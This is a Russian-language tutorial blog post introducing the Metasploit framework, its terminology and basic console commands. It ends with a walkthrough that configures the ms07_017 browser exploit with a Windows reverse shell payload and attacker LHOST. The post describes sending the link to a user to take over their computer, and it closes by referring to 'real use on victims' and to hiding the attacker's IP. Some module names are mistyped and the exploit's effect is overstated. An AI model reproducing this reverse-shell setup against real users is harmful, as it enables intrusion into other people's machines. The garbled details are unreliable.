Metasploit. Все, что вам нужно знать
Разбираем самый популярный хакерский фреймворк
Всем салют, дорогие друзья!
Начнем мы с того, что разберем, чем же является этот Metasploit framework, а после этого немного разберемся с терминологией, чтоб было понятно, что эти слова означают.
- Metasploit framework - это полностью бесплатный framework созданный H. D. Moore в 2003 году, который в последствии был куплен Rapid7. Написан этот фреймфорк на языке Ruby.
Metasploit обладает крупнейшими базами данных уязвимостей и принимает около миллиона загрузок каждый год. Он также является одним из самых сложных проектов на сегодняшний, написанных на языке Ruby.
- Уязвимость (Vulnerability) — это слабое место, так сказать пята Ахилеса, которая позволяет хакеру взламывать целевую систему. Уязвимость может существовать в операционных системах, программах, службах и т.д.
- Эксплоит (Exploit) — это код, с помощью которого хакер может взломать систему, программу и т.п., у которой есть уязвимость. Каждое слабое место имеет свой собственный соответствующий эксплойт.
- Payload — это код, который выполняется после эксплоита. В основном используется для настройки связи между жертвой и атакующим.
Давайте попробую показать на картинке для более подробного понимания этих слов:
И так, как мы видим стрелочку с названием Vulnerability, она показывает на уязвимость в холме (под холмом имеем введу ОС, DB и тд), куда может просочиться наш так называемый подготовленный набор скриптов Exploit, который спровоцирует взрыв в нашей системе (а именно доступ к ОС, изменение логики либо передачу данных пользователя удаленно). Ну а в конечном итоге выполним, после отработки злоскрипта, выполним следующий скрипт Payload, то-есть то, что мы хотим, чтоб в этой ОС, DB произошло по нашему. Надеюсь, я донес идею того как работает эта уязвимость.
А теперь перейдем к архитектурному виду нашего framework:
В Metasploit входят различные виды библиотек, которые играют большую роль в функционировании framework. Эти библиотеки представляют собой набор заранее определенных задач, операций и функций, которые могут быть использованы различными модулями системы. Самая фундаментальная часть framework написана на языке Ruby Extension (Rex). Некоторые компоненты Rex включают подсистему сокетов (wrapper socket subsystem), реализацию клиентских и серверных протоколов, регистрацию подсистемы (logging subsystem), exploitation utility classes, а также ряд других полезных классов.
Далее есть MSF Core библиотека, которая расширяет Rex. Core несет ответственность за выполнение всех необходимых интерфейсов (required interfaces), которые позволяют взаимодействовать с эксплоитами, модулями, сессиями и плагинами.
Metasploit состоит из четырех так называемых пользовательских интерфейсов:
Установка Metasploit доступна для всех Linux дистрибутивов , в Kali Linux он идет из коробки.
Скачать Metasploit c офф сайта.
Перед тем как начать применять exploits и payloads на целевой машине, вы должны знать их основы. Важно понять, как использовать эксплоиты, чтобы не допустить распространенные ошибки, которые могут возникнуть из-за неправильной конфигурации параметров.
Для того, чтобы начать использовать эксплоиты, нужно просканировать целевую машину допустим с помощью утилиты Nmap. После того, как собрано достаточно информации о цели, след. шагом будет выбор подходящего эксплоита.
show payloads и show exploits — эти две команды показывают список доступных эксплоитов и payloads. например:
1 msf exploit(ms03_026_dcom) > show options 2 Module options (exploit/windows/dcerpc/ms03_026_dcom): 3 Name Current Setting Required Description 4 — — — — — — — — — — — — — — — — — — — - 5 RHOST yes The target address 6 RPORT 135 yes The target port
search exploit — команда будет искать конкретный эксплоит, например:
1 msf > search ms03_026_dcom 2 Matching Modules 3 ================ 4 Name Disclosure Date Rank Description 5 — — — — — — — — — — — — — — — — — - 6 exploit/windows/dcerpc/ms03_026_dcom 2003–07–16 great Microsoft RPC DCOM
use exploit — команда устанавливает эксплоит в активное состояние, т.е. им можно пользоваться. например:
1 msf > use exploit/windows/dcerpc/ms03_026_dcom 2 msf exploit(ms03_026_dcom) >
set — эта команда задает значения для параметров/опций в эксплоите, см. след. команду. например:
1 msf exploit(ms03_026_dcom) > set RHOST 102.168.56.102 2 RHOST =>102.168.56.102 3 msf exploit(ms03_026_dcom) >
show targets — каждый exploit создан для атаки на конкретную службу/сервис. Эта команда показывает, какие цели могут быть атакованы, например:
1 msf exploit(ms03_026_dcom) > show targets 2 Exploit targets: 3 Id Name 4 — — — 5 0 Windows NT SP3–6a/2000/XP/2003 Universal
А теперь можем потренироваться с такой уязвимостью как ms07_017. Которая позволяет снифферить все данные пользователя, который перешел по ссылке, которую мы ему дадим.
Для начала нам нужно найти ее полный путь поэтому выполним команду:
search ms07_017
Затем заюзать этот эксплоит командой:
use exploit/windows/brouser/ms07_017_ani_loadimage_chunksize
Смотрим информацию о данном эксплоите, что именно нам надо добавить для полноценного пользования. Пишем команду:
show option
Затем видим,что нам нужно задать payload, тоесть ОС на которую будет происходить атака. Для этого используем команду:
set Payload windows/shell/reverse_tsp
Видим также, что от нас требуется задать ip атакующей машины, по-этому пишем команду + айпи:
set LHOST 192.168.52.159
Можем теперь свой айпи кинуть какому-то пользователю и он перейдя на нее передаст нам полностью все свои данные, а так же откроет доступ к своему компьютеру, что дас там возможность даже создавать папки, читать файлы и тд.
Для реального применения по жертвам, само собой свой айпи кидать не стоит, но это уже тема для отдельной статьи.
На сегодня это все. Надеемся, что данная информация будет вам полезна!